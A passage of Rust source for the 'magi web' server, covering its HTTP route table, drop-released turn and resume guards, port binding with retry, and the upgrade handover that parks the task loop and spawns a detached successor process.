873                .map(|c| c.run)
874        } else {
875            None
876        })
877    }
878
879    /// Claim a run for a resume, on the same reasoning as
880    /// [`Ui::begin_talk_turn`]: a guard that releases on drop, so a
881    /// disconnected phone does not wedge the run until the server restarts.
882    fn begin_resume(&self, id: &str) -> ApiResult<ResumeGuard> {
883        let mut live = self
884            .resuming
885            .lock()
886            .map_err(|_| ApiError::internal("the resume lock was poisoned"))?;
887        if !live.insert(id.to_owned()) {
888            return Err(ApiError::conflict(format!(
889                "run {id} is already being resumed"
890            )));
891        }
892        Ok(ResumeGuard {
893            run: id.to_owned(),
894            resuming: Arc::clone(&self.resuming),
895        })
896    }
897
898    /// The router, with this state baked in.
899    ///
900    /// The three front-end files get one explicit route each rather than a
901    /// path parameter, so there is no traversal surface to get wrong: the set
902    /// of servable paths is the set written here. The asset route below is the
903    /// one exception and the only place in this server where a client names a
904    /// file; it is why [`valid_asset_name`] is checked before a path is built.
905    pub fn router(self) -> Router {
906        Router::new()
907            .route("/", get(index))
908            .route("/app.css", get(app_css))
909            .route("/app.js", get(app_js))
910            .route("/api/health", get(health))
911            .route("/api/references", post(id_links::resolve_text))
912            .route("/api/loop", get(loop_get).post(loop_post))
913            .route("/api/upgrade", post(upgrade_post))
914            .route("/api/runs", get(runs_list))
915            .route("/api/runs/{id}", get(run_detail).delete(run_delete))
916            .route("/api/runs/{id}/report", get(run_report))
917            .route("/api/runs/{id}/report.json", get(run_report_json))
918            .route("/api/runs/{id}/graft.diff", get(run_graft_diff))
919            .route("/api/runs/{id}/fold", post(run_fold))
920            .route("/api/runs/{id}/fold-merged", post(run_fold_merged))
921            .route("/api/runs/{id}/resume", post(run_resume))
922            .route("/api/queue", get(queue_list))
923            .route("/api/search", get(search_get))
924            .route("/api/queue/{id}", get(task_detail).delete(queue_delete))
925            .route("/api/stats", get(stats_get))
926            .route("/api/repos", get(repos_list))
927            .route("/api/settings", get(settings_get))
928            .route("/api/settings/roles", put(settings_put_roles))
929            .route("/api/queue/{id}/hold", post(queue_hold))
930            .route("/api/queue/{id}/release", post(queue_release))
931            .route("/api/queue/{id}/priority", post(queue_priority))
932            .route("/api/queue/{id}/urgent", post(queue_urgent))
933            .route("/api/queue/{id}/implementers", post(queue_implementers))
934            .route("/api/queue/{id}/attempt-limit", post(queue_attempt_limit))
935            .route("/api/queue/{id}/edit", post(queue_edit))
936            .route("/api/queue/{id}/done", post(queue_done))
937            .route("/api/questions", get(questions_list))
938            .route("/api/questions/{id}/answer", post(question_answer))
939            .route("/api/questions/{id}/say", post(question_say))
940            .route("/api/questions/{id}/consult", post(question_consult))
941            .route("/api/questions/{id}/panel", get(question_panel))
942            // The same asset, reachable from inside the panel by its bare
943            // filename. A document served at `.../panel` resolves `shot.png`
944            // to `.../shot.png`, which is not the asset route, so a panel
945            // written the way its author was told to write it showed broken
946            // images. `base-uri 'none'` means a `<base>` tag cannot paper over
947            // it - deliberately - so the fix is that the panel's own URL ends
948            // in a filename and its siblings are the assets.
949            .route("/api/questions/{id}/panel/index.html", get(question_panel))
950            .route("/api/questions/{id}/panel/{name}", get(question_asset))
951            .route("/api/questions/{id}/asset/{name}", get(question_asset))
952            .route("/api/notifications", get(notifications_list))
953            .route("/api/notifications/read-all", post(notifications_read_all))
954            .route("/api/notifications/{id}/read", post(notification_read))
955            .route(
956                "/api/notifications/{id}/dismiss",
957                post(notification_dismiss),
958            )
959            .route("/api/talks", get(talks_list).post(talk_post))
960            .route("/api/talks/{id}", get(talk_detail).delete(talk_delete))
961            .route("/api/talks/{id}/say", post(talk_say))
962            .route("/api/talks/{id}/pending/resume", post(talk_pending_resume))
963            .route("/api/talks/{id}/pending/clear", post(talk_pending_clear))
964            .route("/api/talks/{id}/pending/edit", post(talk_pending_edit))
965            .route("/api/talks/{id}/agent", post(talk_agent))
966            .route("/api/talks/{id}/persona", post(talk_persona))
967            .route("/api/talks/{id}/implementers", post(talk_implementers))
968            .route("/api/talks/{id}/close", post(talk_close))
969            .route("/api/talks/{id}/reopen", post(talk_reopen))
970            // `DefaultBodyLimit` is raised only on this one route - every
971            // other route on this server answers in a few kilobytes, and
972            // widening the crate-wide default for all of them just because
973            // one accepts a picture would let any other handler be handed
974            // a multi-megabyte body it never expects.
975            .route(
976                "/api/talks/{id}/attachments",
977                post(talk_attachment_post).layer(DefaultBodyLimit::max(ATTACHMENT_MAX_BYTES + 1)),
978            )
979            .route(
980                "/api/talks/{id}/attachments/{att}",
981                get(talk_attachment_get),
982            )
983            .route("/api/talks/{id}/avatar", get(talk_avatar))
984            .route("/avatars/operator.svg", get(operator_avatar))
985            .route(
986                "/api/avatar-settings",
987                get(avatar_settings_get)
988                    .put(avatar_settings_put)
989                    .delete(avatar_settings_delete),
990            )
991            .route("/avatars/persona", get(settings_persona_avatar))
992            .route("/avatars/magi", get(magi_avatar))
993            .route(
994                "/api/magi-icon",
995                get(magi_icon_get)
996                    .put(magi_icon_put)
997                    .delete(magi_icon_delete),
998            )
999            .route("/api/events", get(events))
1000            .with_state(Arc::new(self))
1001    }
1002}
1003
1004/// What a chat request is told while an upgrade is parking and the request
1005/// cannot be queued as a draft.
1006const UPGRADE_IN_PROGRESS: &str = "upgrade in progress, try again in a moment";
1007
1008/// One talk's turn slot, released on drop.
1009///
1010/// A guard rather than a matching `remove` at the end of the handler, because
1011/// the handler has several early returns and one `await` that can be cancelled
1012/// out from under it. A leaked id is a talk nobody can talk to again.
1013#[derive(Debug)]
1014struct TalkTurnGuard {
1015    talk: String,
1016    turns: Arc<Mutex<TalkTurns>>,
1017    released: bool,
1018    /// The cross-process half of the slot; dropped with the guard.
1019    lease: Option<crate::talk::TurnLease>,
1020}
1021
1022/// In-memory turn ownership plus the queue generation observed by a drainer.
1023///
1024/// The generation changes only after a durable queued draft is written and its
1025/// caller finds the turn busy. That lets the loop run filesystem work outside
1026/// this mutex while still making the final empty-check/release atomic with a
1027/// concurrent queue handoff.
1028#[derive(Debug, Default)]
1029struct TalkTurns {
1030    live: HashSet<String>,
1031    queued: HashMap<String, u64>,
1032    /// Set while an upgrade hand-over is parking: no turn may start, so the
1033    /// set in `live` can only shrink. Cleared again if the hand-over ends
1034    /// without exiting the process.
1035    parking: bool,
1036}
1037
1038/// The atomic initial-state decision made by
1039/// [`Ui::begin_talk_turn_unless_pending`].
1040enum TalkTurnStart {
1041    Claimed(TalkTurnGuard),
1042    Busy,
1043    /// Another process holds the turn lease. Unlike `Busy` there is no local
1044    /// drain loop that would answer a queued draft, so the caller refuses.
1045    Foreign,
1046    Pending,
1047}
1048
1049impl TalkTurnGuard {
1050    /// Does this guard still own the on-disk lease? A transient failure to
1051    /// check counts as owning: the next beat decides. A guard that lost it
1052    /// must not start another turn on the same session.
1053    fn owns(&self) -> bool {
1054        self.lease
1055            .as_ref()
1056            .is_none_or(|lease| !matches!(lease.beat(), Ok(false)))
1057    }
1058
1059    /// `talk::respond` while renewing the on-disk lease, so a turn longer
1060    /// than the lease's TTL still reads as held to other processes.
1061    async fn respond(
1062        &self,
1063        talk: &mut Talk,
1064        talks: &Talks,
1065        cfg: &Config,
1066        text: &str,
1067    ) -> anyhow::Result<()> {
1068        let lease = self
1069            .lease
1070            .as_ref()
1071            .context("the turn guard no longer holds its lease")?;
1072        talk::respond(lease, talk, talks, cfg, text).await
1073    }
1074
1075    /// Release while the caller already holds the claim mutex, closing the
1076    /// last-drain/arrival gap without letting `Drop` revoke a later claim.
1077    fn release(mut self, live: &mut TalkTurns) {
1078        // The on-disk lease goes first: while `live` still names the talk, no
1079        // local claim can start, so nobody observes the slot free but the
1080        // lease held.
1081        self.lease = None;
1082        live.live.remove(&self.talk);
1083        live.queued.remove(&self.talk);
1084        self.released = true;
1085    }
1086}
1087
1088impl Drop for TalkTurnGuard {
1089    fn drop(&mut self) {
1090        if self.released {
1091            return;
1092        }
1093        // Lease first, then the in-process slot (see `release`).
1094        drop(self.lease.take());
1095        if let Ok(mut live) = self.turns.lock() {
1096            live.live.remove(&self.talk);
1097            live.queued.remove(&self.talk);
1098        }
1099    }
1100}
1101
1102/// Releases a resume claim, so a run is resumable again after the attempt.
1103struct ResumeGuard {
1104    run: String,
1105    resuming: Arc<Mutex<HashSet<String>>>,
1106}
1107
1108impl Drop for ResumeGuard {
1109    fn drop(&mut self) {
1110        if let Ok(mut live) = self.resuming.lock() {
1111            live.remove(&self.run);
1112        }
1113    }
1114}
1115
1116/// Bind the port, waiting briefly for a predecessor to let go of it.
1117///
1118/// A restart hands the address from one process to the next, and the old one
1119/// holds its listener until it unwinds. A single `bind` can lose that race,
1120/// and for a restart triggered from a phone that means the deck never comes
1121/// back with no terminal around to say why.
1122///
1123/// Bounded, and only for the one error a wait can fix: anything else fails at
1124/// once, because retrying it would turn a clear message into a silence.
1125async fn bind_waiting(socket: SocketAddr) -> Result<tokio::net::TcpListener> {
1126    const WINDOW: Duration = Duration::from_secs(10);
1127    const GAP: Duration = Duration::from_millis(250);
1128
1129    let deadline = std::time::Instant::now() + WINDOW;
1130    let mut said = false;
1131    loop {
1132        match tokio::net::TcpListener::bind(socket).await {
1133            Ok(listener) => return Ok(listener),
1134            Err(e)
1135                if e.kind() == std::io::ErrorKind::AddrInUse
1136                    && std::time::Instant::now() < deadline =>
1137            {
1138                if !said {
1139                    said = true;
1140                    tracing::info!(
1141                        "{socket} is still held - waiting up to {}s for it, \
1142                         which is what a restart looks like from here",
1143                        WINDOW.as_secs()
1144                    );
1145                }
1146                tokio::time::sleep(GAP).await;
1147            }
1148            Err(e) => return Err(e).with_context(|| format!("bind {socket}")),
1149        }
1150    }
1151}
1152
1153/// Signalled when an upgrade has replaced the binary and the successor should
1154/// take this address over. One per process: there is one address to hand on.
1155static HANDOVER: std::sync::LazyLock<Notify> = std::sync::LazyLock::new(Notify::new);
1156
1157/// Set to `1` on the successor when the loop was running at handover.
1158const RESUME_LOOP_ENV: &str = "MAGI_WEB_RESUME_LOOP";
1159
1160/// Whether the environment value asks for the loop to be resumed.
1161fn resume_requested(value: Option<std::ffi::OsString>) -> bool {
1162    value.is_some_and(|v| v == "1")
1163}
1164
1165/// Start this binary again with the same arguments, detached.
1166///
1167/// Called from [`serve`]'s exit path, *after* the listener has been dropped,
1168/// so the address is already free when the successor binds it. The first
1169/// attempt at this spawned the successor two hundred milliseconds before
1170/// exiting instead, and the released binary - which has no bind retry - died
1171/// on "address already in use" with its stdio sent to null, so the deck
1172/// simply never came back.
1173///
1174/// Detached and without inherited stdio: the successor has to outlive this
1175/// process, and must not hold open a pipe a terminal is waiting on.
1176///
1177/// `resume` tells the successor to start the queue loop, through
1178/// [`RESUME_LOOP_ENV`]. It is always set or removed explicitly so a value this
1179/// process inherited from its own predecessor cannot leak into a generation
1180/// that should not resume. The successor's own environment keeps the variable
1181/// (and so do the agent CLIs it starts); `serve` reads it once at startup.
1182///
1183/// The successor's stdout and stderr are appended to `<home>/web.log` rather
1184/// than sent to null: a supervisor's redirection only ever held the first
1185/// generation's descriptors, so every later generation logged nowhere. The
1186/// pid of the child is returned so the handover log can name it.
1187fn spawn_successor(home: &FsPath, resume: bool) -> Result<u32> {
1188    let exe = std::env::current_exe().context("find this binary")?;
1189    let args: Vec<String> = std::env::args().skip(1).collect();
1190    updater::log_step(
1191        home,
1192        &format!("restarting: {} {}", exe.display(), args.join(" ")),
1193    );
1194    let log_path = home.join(WEB_LOG);
1195    let open_log = || {
1196        std::fs::create_dir_all(home)?;
1197        std::fs::OpenOptions::new()
1198            .create(true)
1199            .append(true)
1200            .open(&log_path)
1201    };
1202    let (out, err) = match open_log().and_then(|f| Ok((f.try_clone()?, f))) {
1203        Ok(pair) => (
1204            std::process::Stdio::from(pair.0),
1205            std::process::Stdio::from(pair.1),
1206        ),
1207        Err(e) => {
1208            updater::log_warn(
1209                home,
1210                &format!(
1211                    "could not open {}: {e}; the successor logs nowhere",
1212                    log_path.display()
1213                ),
1214            );
1215            (std::process::Stdio::null(), std::process::Stdio::null())
1216        }
1217    };
1218
1219    let mut cmd = std::process::Command::new(&exe);
1220    if resume {
1221        cmd.env(RESUME_LOOP_ENV, "1");
1222    } else {
1223        cmd.env_remove(RESUME_LOOP_ENV);
1224    }
1225    cmd.args(&args)
1226        .stdin(std::process::Stdio::null())
1227        .stdout(out)
1228        .stderr(err);
1229    #[cfg(windows)]
1230    {
1231        use std::os::windows::process::CommandExt as _;
1232        // DETACHED_PROCESS | CREATE_NEW_PROCESS_GROUP: no console to inherit,
1233        // and Ctrl-C in the old terminal must not reach the successor.
1234        cmd.creation_flags(0x0000_0008 | 0x0000_0200);
1235    }
1236    let child = cmd.spawn().context("start the successor")?;
1237    Ok(child.id())
1238}
1239
1240/// File under `<home>` the successor's output is appended to.
1241const WEB_LOG: &str = "web.log";
1242
1243/// Resolves when [`HANDOVER`] is signalled. The only waiter on it: a permit
1244/// stored by an earlier `notify_one` is consumed by the first poll, so the
1245/// signal is never missed and never wakes a second time.
1246async fn wait_for_handover(signal: &Notify) {
1247    signal.notified().await;
1248}
1249
1250/// Serve the UI until Ctrl-C, finishing a run the loop has in flight.
1251///
1252/// The server itself owns no state, so nothing here is graceful for the HTTP
1253/// side's sake: the connections go with the dropped listener, which costs a
1254/// phone one change-stream reconnection it was going to make anyway.
1255///
1256/// The signal branch is not optional now that the loop lives in this process.
1257/// [`daemon::serve_until`] listens for Ctrl-C itself, and a registered
1258/// handler is what stops the signal terminating the process - so without a
1259/// branch of our own, the first Ctrl-C after the operator started the loop
1260/// would stop the loop and leave `magi web` listening forever, unkillable
1261/// from the terminal it was started in.
1262///
1263/// What it waits for is the loop, not the sockets. A run in flight is
1264/// finished first, for the reason [`daemon::serve`] gives: killing the graph
1265/// mid-node leaves worktrees, branches and agent sessions behind and throws
1266/// away every agent call already paid for.
1267///
1268/// The server therefore runs on a task of its own rather than inside the
1269/// `select!`: an arm that resolves *drops* the futures the other arms were
1270/// polling, so serving the address from inside one would take the deck down
1271/// at the instant the handover began and keep it down for the whole park -
1272/// up to `timeout_implement`, an hour by default. See [`hand_over`], which
1273/// owns the order.
1274pub async fn serve(opts: Opts) -> Result<()> {
1275    let (addr, warning) = resolve_bind(&opts.bind);
1276    if let Some(warning) = warning {
1277        tracing::warn!("{warning}");
1278    }
1279
1280    // Process-global, and therefore set exactly once, here: the report route
1281    // must never emit escape sequences into a browser, and toggling the flag
1282    // per request would race with a concurrent request rendering its own
1283    // report. Startup is the only moment at which no request can observe the
1284    // change. Nothing in the server turns colour back on.
1285    report::set_color(false);
1286
1287    let repo = normalize_default_repo(opts.repo).await;
1288    let ui = Ui::open(repo).with_merge(opts.merge);
1289    // Cloned before `ui.router()` consumes `ui` below: `hand_over` needs the
1290    // home to bracket the parking and restarting stages, and `run_update_recheck`
1291    // needs both it and the repo, and by then there is no `ui` left to read
1292    // them from.
1293    let home = ui.home.clone();
1294    let repo = ui.repo.clone();
1295    // Settles a progress record a predecessor left non-terminal - either this
1296    // *is* the successor `spawn_successor` started, or the previous process
1297    // died mid-handover. Before the router starts answering, so the very
1298    // first `/api/health` a phone gets from this process already reflects it.
1299    updater::reconcile_after_restart(&home);
1300    updater::log_step(
1301        &home,
1302        &format!(
1303            "web process started (version {}); handover log {}, successor output {}",
1304            env!("CARGO_PKG_VERSION"),
1305            updater::log_path(&home).display(),
1306            home.join(WEB_LOG).display()
1307        ),
1308    );
1309    updater::spawn_watchdog(home.clone());
1310    // `magi web` can stay up for days, and the one-time check `main.rs`'s
1311    // `spawn_update_check` does at startup only ever runs once: after that,
1312    // `/api/health`'s `update` field - and the phone's "Update & restart"
1313    // button, which reads the very same cache - would stay frozen on
1314    // whatever that single check found, no matter how many releases ship
1315    // afterwards. This keeps it current instead. Detached: it must keep
1316    // going for as long as this process serves, `serve` has nothing to await
1317    // it for, and it exits on its own the moment the process does.
1318    tokio::spawn(run_update_recheck(repo, home.clone()));
1319    let looping = ui.looping();
1320    let turns = ui.turns();
1321    let talk_store = ui.talks.clone();
1322    let socket = SocketAddr::new(addr, opts.port);
1323    let listener = bind_waiting(socket).await?;
1324    let url = format!("http://{addr}:{}", opts.port);
1325    tracing::info!(
1326        "magi web UI on {url} - there is no authentication, so anyone who can \
1327         reach this address can file and hold tasks: the tailnet is the \
1328         security boundary"
1329    );
1330    if ui.resume_after_handover(resume_requested(std::env::var_os(RESUME_LOOP_ENV))) {
1331        tracing::info!("resumed the loop the predecessor was running");
1332    } else {
1333        tracing::info!(
1334            "the queue loop is not running yet - start it from the UI, which is \
1335             the whole reason this process can: nothing in the queue moves until \
1336             something is running the loop"
1337        );
1338    }
1339    if opts.open {
1340        // The URL alone on stdout, for a caller that wants to open it. magi
1341        // does not spawn a browser: on the machine this usually runs on there
1342        // is no display, and a failed launch would be the only output.
1343        println!("{url}");
1344    }
1345
1346    // On its own task, so nothing this function awaits can stop the address
1347    // being answered. `hand_over` is where it is given up.
1348    let mut served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
1349    let interrupted = async {
1350        if tokio::signal::ctrl_c().await.is_err() {
1351            // No handler on this platform, so there is no signal to act on.
1352            // Never resolving is the safe answer: a failed registration must
1353            // not masquerade as the operator asking for a shutdown and take
1354            // the UI down on startup.
1355            std::future::pending::<()>().await;
1356        }
1357    };
1358    let handover = wait_for_handover(&HANDOVER);
1359    let outcome = tokio::select! {
1360        joined = &mut served => match joined {
1361            Ok(outcome) => outcome.context("serve the web UI"),
1362            Err(e) => Err(e).context("the task serving the web UI ended"),
1363        },
1364        () = interrupted => {
1365            tracing::info!("shutting down the web UI");
1366            finish_loop(&home, &looping, None).await;
1367            Ok(())
1368        }
1369        () = handover => {
1370            updater::log_step(&home, "serve: the select! woke on the handover signal");
1371            let successor_home = home.clone();
1372            let wait_for = move |ids: &[String]| talk_wait_for(&talk_store, ids);
1373            hand_over(&home, &looping, &turns, &wait_for, served, move |resume| {
1374                spawn_successor(&successor_home, resume)
1375            })
1376            .await
1377        }
1378    };
1379    updater::log_step(
1380        &home,
1381        &match &outcome {
1382            Ok(()) => "serve: returning Ok; the process should exit now".to_owned(),
1383            Err(e) => format!("serve: returning an error: {e:#}"),
1384        },
1385    );
1386    outcome
1387}
1388
1389/// `opts.repo`, or - when it is still `--repo`'s own default (`.`) and the
1390/// process's own working directory is not a git checkout at all - the
1391/// checkout [`repos::discover_verified`] finds instead.
1392///
1393/// Only the unmodified default is ever replaced: an operator who named a
1394/// directory outright, git checkout or not, gets exactly that directory
1395/// back, and the same story downstream (a talk whose briefing embeds a
1396/// non-git directory, and an agent that has to ask the operator where the
1397/// real repository is) that has always told them so - substituting a guess
1398/// for an explicit answer would be a second, silent opinion about what they
1399/// meant. There is no instruction or task text yet to match against this
1400/// early, so only [`repos::discover_verified`]'s own-repository tier can
1401/// ever settle this - the hint tier never fires here.
1402///
1403/// [`repos::discover_verified`], not [`repos::discover`]: a candidate this
1404/// found by filesystem shape alone is not yet trustworthy - a stale `.git`,
1405/// or a git installation that is broken in exactly the way that made the
1406/// original `canonical` check above fail too - so it is re-checked with
1407/// `git::toplevel` before it is ever used in place of the operator's own
1408/// directory.
1409async fn normalize_default_repo(repo: PathBuf) -> PathBuf {
1410    if repo != FsPath::new(".") {
1411        return repo;
1412    }
1413    let Ok(canonical) = repo.canonicalize() else {
1414        return repo;
1415    };
1416    if git::toplevel(&canonical).await.is_ok() {
1417        return repo;
1418    }
1419    let Some(home) = dirs::home_dir() else {
1420        return repo;
1421    };
1422    match repos::discover_verified(&home, &[], None, updater::repo_name()).await {
1423        Some(found) => {
1424            tracing::info!(
1425                "the default --repo `.` ({}) is not a git checkout; using {} instead - {}",
1426                canonical.display(),
1427                found.path.display(),
1428                found.reason,
1429            );
1430            found.path
1431        }
1432        None => repo,
1433    }
1434}
1435
1436/// Park the loop, then release the address, then start the successor.
1437///
1438/// The order is the whole function, and each step is answerable to a failure
1439/// this arrangement has already had:
1440///
1441/// 1. **Park.** The loop was asked to stop by the request that replaced the
1442///    binary, and this waits for it, because killing the graph mid-node
1443///    leaves worktrees, branches and agent sessions behind and throws away
1444///    every agent call already paid for. It takes as long as the node in
1445///    flight - up to `timeout_implement`, an hour by default - and the deck
1446///    goes on answering for all of it, which is the reason `served` is a task
1447///    rather than an arm of [`serve`]'s `select!`. It was an arm once: the
1448///    first upgrade from a phone that caught a run mid-implement dropped the
1449///    listener the moment it was asked to, and the operator got
1450///    `Cannot reach magi: Failed to fetch` with no way to see the park it was
1451///    waiting on and nothing but a process list to say the run was alive.
1452/// 2. **Release.** Aborting *and awaiting* the task is what frees the socket:
1453///    the join resolves only once the task's future has been dropped, so the
1454///    listener is released before the next line. Connections it already
1455///    accepted are served on tasks of their own and wind down asynchronously;
1456///    on some platforms (macOS) they can briefly keep the address busy, and
1457///    the successor's `bind_waiting` absorbs that.
1458/// 3. **Start the successor**, which binds the address this process has just
1459///    let go of - see [`spawn_successor`] for what the other order cost.
1460///
1461/// The [`updater::Progress`] bookkeeping bracketing steps 1 and 3 is
1462/// reporting, not part of the design: it exists so `/api/health` can say
1463/// "parking, waiting on run X" instead of leaving the phone to guess why the
1464/// deck went quiet, and dropping it would not change the order above.
1465async fn hand_over(
1466    home: &FsPath,
1467    looping: &Mutex<LoopState>,
1468    turns: &Arc<Mutex<TalkTurns>>,
1469    talk_wait: &(dyn Fn(&[String]) -> Duration + Sync),
1470    served: tokio::task::JoinHandle<std::io::Result<()>>,
1471    successor: impl FnOnce(bool) -> Result<u32>,
1472) -> Result<()> {
1473    updater::log_step(home, "hand_over: entered; writing the parking stage");
1474    // The lease and the stage are written as one step, so a reader that sees
1475    // `parking` also finds the proof that hand_over is alive. Dropped on
1476    // every way out.
1477    let (mut lease, recorded) = updater::LeaseGuard::enter_parking(home);
1478    if !recorded {
1479        updater::log_warn(
1480            home,
1481            "hand_over: upgrade.json is unreadable; no parking stage",
1482        );
1483    }
1484    // Chat stays open while the loop parks: nothing restarts until it ends,
1485    // and the park can last as long as a node. Only once it is done is the
1486    // slot closed, right before the restart; a turn started earlier is in
1487    // `live` by then, so `finish_talks` waits for it.
1488    finish_loop(home, looping, Some(&mut lease)).await;
1489    let parking = ParkingTurns::begin(turns);
1490    let talks_done = finish_talks(home, turns, talk_wait);
1491    tokio::pin!(talks_done);
1492    let mut beat = tokio::time::interval(LEASE_BEAT);
1493    let (abandoned, waited_for) = loop {
1494        tokio::select! {
1495            left = &mut talks_done => break left,
1496            _ = beat.tick() => lease.beat(),
1497        }
1498    };
1499    drop(lease);
1500    updater::log_step(home, "hand_over: releasing the listener (abort and await)");
1501    served.abort();
1502    let _ = served.await;
1503    updater::log_step(home, "hand_over: listener released");
1504    // Read last: the deck answers for the whole park, so an operator's stop
1505    // during the wait must still be honoured by the successor.
1506    let resume = lock_or_recover(looping).resume_after_handover;
1507    match updater::read_progress(home) {
1508        Some(mut progress) => {
1509            progress.advance(updater::Stage::Restarting);
1510            if !abandoned.is_empty() {
1511                progress.detail = Some(format!(
1512                    "handed over while {} still running after {} s",
1513                    updater::talks_phrase(&abandoned),
1514                    waited_for.as_secs()
1515                ));
1516            }
1517            updater::write_progress_logged(home, &progress);
1518        }
1519        None => updater::log_warn(
1520            home,
1521            "hand_over: upgrade.json is unreadable; no restarting stage",
1522        ),
1523    }
1524    updater::log_step(
1525        home,
1526        &format!("hand_over: starting the successor (resume={resume})"),
1527    );
1528    drop(parking);
1529    match successor(resume) {
1530        Ok(pid) => {
1531            updater::log_step(home, &format!("hand_over: successor started, pid {pid}"));
1532            Ok(())
1533        }
1534        Err(e) => {
1535            updater::log_warn(
1536                home,
1537                &format!("hand_over: the successor did not start: {e:#}"),
1538            );
1539            Err(e)
1540        }
1541    }
1542}
1543
1544/// Grace added to `[graph] timeout_talk` for the upgrade's wait on chat turns:
1545/// a turn that runs its full timeout still needs a moment to record its answer.
1546const TALK_PARK_GRACE: Duration = Duration::from_secs(60);
1547
1548/// How often the park looks at the chat turns still running.
1549const TALK_POLL: Duration = Duration::from_millis(250);
1550
1551/// The longest an upgrade waits for chat turns: one turn's timeout plus a
1552/// grace. Beyond it a stuck turn must not block the hand-over.
1553fn talk_wait_bound(timeout_talk_secs: u64) -> Duration {
1554    Duration::from_secs(timeout_talk_secs) + TALK_PARK_GRACE
1555}
1556
1557/// The bound for the turns of `ids`: the longest `[graph] timeout_talk` among
1558/// the repositories those talks run in (each turn uses its own talk's
1559/// configuration), plus the grace. A talk or config that cannot be read counts
1560/// with the default timeout.
1561fn talk_wait_for(talks: &Talks, ids: &[String]) -> Duration {
1562    let default = Config::default().graph.timeout_talk;
1563    let longest = ids
1564        .iter()
1565        .map(|id| {
1566            talks
1567                .get(id)
1568                .ok()
1569                .and_then(|t| Config::discover(&t.repo, None).ok())
1570                .map_or(default, |(c, _)| c.graph.timeout_talk)
1571        })
1572        .max()
1573        .unwrap_or(default);
1574    talk_wait_bound(longest)
1575}
1576
1577/// Stops new chat turns for as long as it lives, so the hand-over only ever
1578/// waits on a set that cannot grow. `hand_over` takes it only after the loop
1579/// has stopped, so chat stays usable while the loop parks. Dropping it reopens the slots.
1580struct ParkingTurns(Arc<Mutex<TalkTurns>>);
1581
1582impl ParkingTurns {
1583    fn begin(turns: &Arc<Mutex<TalkTurns>>) -> Self {
1584        turns.lock().unwrap_or_else(PoisonError::into_inner).parking = true;
1585        Self(Arc::clone(turns))
1586    }
1587}
1588
1589impl Drop for ParkingTurns {
1590    fn drop(&mut self) {
1591        self.0
1592            .lock()
1593            .unwrap_or_else(PoisonError::into_inner)
1594            .parking = false;
1595    }
1596}
1597
1598/// Wait until no chat turn is running in this process, for at most the longest
1599/// `bound_for` has given for the turns seen so far. Returns the talk ids still
1600/// running when the bound was hit (empty when the turns finished) with the
1601/// bound that applied, after saying so in the upgrade log.
1602async fn finish_talks(
1603    home: &FsPath,
1604    turns: &Mutex<TalkTurns>,
1605    bound_for: &(dyn Fn(&[String]) -> Duration + Sync),
1606) -> (Vec<String>, Duration) {
1607    let running = || {
1608        let mut ids: Vec<String> = turns
1609            .lock()
1610            .unwrap_or_else(PoisonError::into_inner)
1611            .live
1612            .iter()
1613            .cloned()
1614            .collect();
1615        // A turn another task of this process (the daemon's completion
1616        // notice) or another process runs holds only the on-disk lease.
1617        let talks = talk::Talks::at(home.join("talks"));
1618        for t in talks.list() {
1619            if talks.turn_held(&t.id) && !ids.contains(&t.id) {
1620                ids.push(t.id);
1621            }
1622        }
1623        ids.sort();
1624        ids
1625    };
1626    let started = std::time::Instant::now();
1627    let mut seen = Vec::new();
1628    let mut bound = Duration::ZERO;
1629    loop {
1630        let ids = running();
1631        if ids != seen {
1632            bound = bound.max(bound_for(&ids));
1633            if ids.is_empty() {
1634                updater::log_step(home, "finish_talks: no chat turn is running");
1635            } else {
1636                updater::log_step(
1637                    home,
1638                    &format!(
1639                        "finish_talks: waiting for {} to finish",
1640                        updater::talks_phrase(&ids)
1641                    ),
1642                );
1643            }
1644            updater::set_parked_talks(home, &ids);
1645            seen = ids;
1646        }
1647        if seen.is_empty() {
1648            return (Vec::new(), bound);
1649        }
1650        if started.elapsed() >= bound {
1651            updater::log_warn(
1652                home,
1653                &format!(
1654                    "finish_talks: {} still running after {} s; handing over anyway",
1655                    updater::talks_phrase(&seen),
1656                    bound.as_secs()
1657                ),
1658            );
1659            return (seen, bound);
1660        }
1661        tokio::time::sleep(TALK_POLL).await;
1662    }
1663}
1664
1665/// How often `finish_loop` renews the handover lease; well inside
1666/// [`updater::LEASE_TTL_SECS`].
1667const LEASE_BEAT: Duration = Duration::from_secs(20);
1668
1669/// Ask the loop to stop and wait for it, on the way out of [`serve`].
1670///
1671/// The wait is the whole function. Returning from `serve` while a graph is
1672/// mid-node ends the process with worktrees, branches and agent sessions left
1673/// behind and every agent call in that run paid for and thrown away, which is
1674/// exactly what the daemon's own shutdown refuses to do.
1675async fn finish_loop(
1676    home: &FsPath,
1677    state: &Mutex<LoopState>,
1678    mut lease: Option<&mut updater::LeaseGuard>,
1679) {
1680    let live = lock_or_recover(state).live.take();
1681    let Some(live) = live else {
1682        updater::log_step(home, "finish_loop: no loop running; nothing to wait for");
1683        return;
1684    };
1685    live.stop.stop();
1686    lock_or_recover(state).rev += 1;
1687    updater::log_step(
1688        home,
1689        "finish_loop: waiting for the loop to finish the run in flight",
1690    );
1691    let waited = std::time::Instant::now();
1692    // The task records its own outcome and logs it, so there is nothing to do
1693    // with a join error here but stop waiting.
1694    let mut handle = live.handle;
1695    let mut beat = tokio::time::interval(LEASE_BEAT);
1696    loop {
1697        tokio::select! {
1698            _ = &mut handle => break,
1699            _ = beat.tick() => {
1700                if let Some(lease) = lease.as_deref_mut() {
1701                    lease.beat();
1702                }
1703            }
1704        }
1705    }
1706    updater::log_step(
1707        home,
1708        &format!(
1709            "finish_loop: the loop ended after {:.1}s",
1710            waited.elapsed().as_secs_f32()
1711        ),
1712    );
1713}
1714
1715/// Resolve `--bind` to an address, plus a warning when the answer is not what
1716/// the operator asked for.
1717///
1718/// Split out from [`serve`] because the interesting half - deciding whether
1719/// Tailscale gave us something usable - is testable without opening a socket.
1720pub fn resolve_bind(bind: &Bind) -> (IpAddr, Option<String>) {
1721    match bind {
1722        Bind::Addr(addr) => (*addr, None),
1723        Bind::Auto => match tailscale_ip() {
1724            Ok(ip) => (IpAddr::V4(ip), None),
1725            Err(why) => (
1726                IpAddr::V4(Ipv4Addr::LOCALHOST),
1727                Some(format!(
1728                    "--bind auto fell back to 127.0.0.1: {why}. The UI is \
1729                     local-only and a phone cannot reach it; start Tailscale \
1730                     or pass --bind <addr>"
1731                )),
1732            ),
1733        },
1734    }
1735}
1736
1737/// This machine's Tailscale IPv4, or why there is not one.
1738///
1739/// `tailscale ip -4` is a local call against the running daemon and returns in
